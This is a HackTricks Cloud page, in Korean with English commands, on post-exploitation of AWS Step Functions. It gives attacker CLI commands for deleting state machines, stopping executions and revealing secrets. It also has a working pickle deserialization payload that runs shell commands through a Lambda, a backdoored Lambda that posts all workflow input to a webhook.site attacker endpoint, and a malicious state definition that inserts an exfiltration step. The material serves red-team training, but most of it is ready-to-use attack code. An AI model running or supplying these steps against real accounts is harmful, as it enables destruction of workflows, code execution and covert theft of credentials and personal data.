AWS - Step Functions Post Exploitation
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
Step Functions
이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요:
states:RevealSecrets
이 권한은 execution 내부의 비밀 데이터를 노출할 수 있도록 허용합니다. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 파라미터를 true로 설정해야 합니다.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
이 권한을 가진 공격자는 state machines, 그 버전들 및 aliases를 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 중단시키고, 데이터 손실을 초래하며, 영향을 받은 state machines를 복구하고 복원하는 데 상당한 시간이 필요할 수 있습니다. 또한 공격자는 사용된 흔적을 지우고 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거함으로써 운영을 마비시킬 수 있습니다.
Note
- Deleting a state machine you also delete all its associated versions and aliases.
- Deleting a state machine alias you do not delete the state machine versions referencing this alias.
- It is not possible to delete a state machine version currently referenced by one or more aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potential Impact: 중요 워크플로우 중단, 데이터 손실 및 운영 중단.
states:UpdateMapRun
이 권한을 가진 공격자는 Map Run의 실패 구성 및 병렬 설정을 조작할 수 있어 허용되는 자식 워크플로우 실행의 최대 수를 증가 또는 감소시킬 수 있으며, 이는 서비스의 성능에 직접적인 영향을 미칩니다. 또한 공격자는 허용되는 실패 비율 및 개수를 조작해 이 값을 0으로 낮출 수 있는데, 이 경우 항목이 하나라도 실패할 때마다 전체 Map Run이 실패하여 state machine 실행에 직접적인 영향을 주고 중요한 워크플로우를 중단시킬 수 있습니다.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potential Impact: 성능 저하 및 중요한 워크플로우의 중단.
states:StopExecution
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중단할 수 있어 진행 중인 워크플로우 및 프로세스를 방해할 수 있습니다. 이로 인해 트랜잭션이 완료되지 않거나 비즈니스 운영이 중단되며 잠재적인 데이터 손상이 발생할 수 있습니다.
Warning
이 작업은 express state machines에서 지원되지 않습니다.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- 잠재적 영향: 진행 중인 워크플로의 중단, 운영 중단 및 잠재적 데이터 손상.
states:TagResource, states:UntagResource
공격자는 Step Functions 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 배분, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potential Impact: 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책의 중단.
states:StartExecution -> 위험한 싱크로의 입력 주입
states:StartExecution는 데이터 플레인 진입점입니다. 상태 머신이 공격자가 제어하는 입력을 위험한 싱크를 포함한 태스크로 전달하면 (예: Lambda가 pickle.loads(base64.b64decode(payload_b64))를 수행하는 경우), 상태 머신을 업데이트할 권한이 없어도 때때로 StartExecution을 코드 실행 및 비밀 유출로 전환할 수 있으며, 실행 출력(execution output)을 통해 정보가 유출될 수 있습니다.
워크플로와 호출된 Lambda 파악
만약 states:List* / states:Describe* 권한이 있다면, 상태 머신 정의를 열거하고 읽을 수 있습니다:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
lambda:GetFunction 권한도 있다면, Lambda 코드 번들을 다운로드하여 입력이 어떻게 처리되는지 이해하고 (unsafe deserialization이 존재하는지 확인할 수 있습니다):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
예제: crafted pickle in execution input (Python)
Lambda가 공격자가 제어하는 데이터를 unpickles하면, 악성 pickle은 deserialization 중에 코드를 실행할 수 있습니다. Lambda 런타임에서 Python 표현식을 평가하는 예시 payload:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
영향: 작업 역할이 가진 권한(Secrets Manager 읽기, S3 쓰기, KMS 복호화 등)은 조작된 입력을 통해 접근 가능해질 수 있으며, 그 결과가 Step Functions 실행 출력에 반환될 수 있습니다.
states:UpdateStateMachine, lambda:UpdateFunctionCode
다음 권한을 가진 사용자 또는 역할을 탈취한 공격자:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…Lambda backdooring과 Step Function logic manipulation을 결합하여 high-impact and stealthy post-exploitation attack을 수행할 수 있다.
이 시나리오는 피해자가 AWS Step Functions로 민감한 입력을 처리하는 워크플로를 오케스트레이션한다고 가정하며, 여기에는 자격 증명, 토큰 또는 PII와 같은 항목이 포함된다.
Example victim invocation:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Step Function이 LegitBusinessLogic 같은 Lambda를 호출하도록 구성된 경우, 공격자는 두 가지 은밀한 공격 방식을 진행할 수 있습니다:
Lambda 함수 업데이트
공격자는 Step Function에서 이미 사용 중인 Lambda 함수(LegitBusinessLogic)의 코드를 수정하여 입력 데이터를 은밀하게 exfiltrate합니다.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Step Function에 악성 상태 추가
또는 공격자는 Step Function 정의를 업데이트하여 워크플로우의 시작 부분에 exfiltration state를 주입할 수 있다.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
공격자는 훨씬 더 은밀하게 상태 정의를 다음과 같이 업데이트할 수 있습니다 { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } 피해자는 차이를 알아차리지 못할 수 있습니다.
피해자 설정 (Context for Exploit)
- A Step Function (
LegitStateMachine) is used to process sensitive user input. - It calls one or more Lambda functions such as
LegitBusinessLogic.
잠재적 영향:
- 민감한 데이터(예: secrets, credentials, API keys, PII)의 은밀한 exfiltration.
- 워크플로우 실행에서 눈에 띄는 오류나 실패가 없음.
- Lambda 코드나 실행 추적을 감사하지 않으면 탐지하기 어려움.
- backdoor가 코드나 ASL 로직에 남아 있으면 장기적인 persistence가 가능함.
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

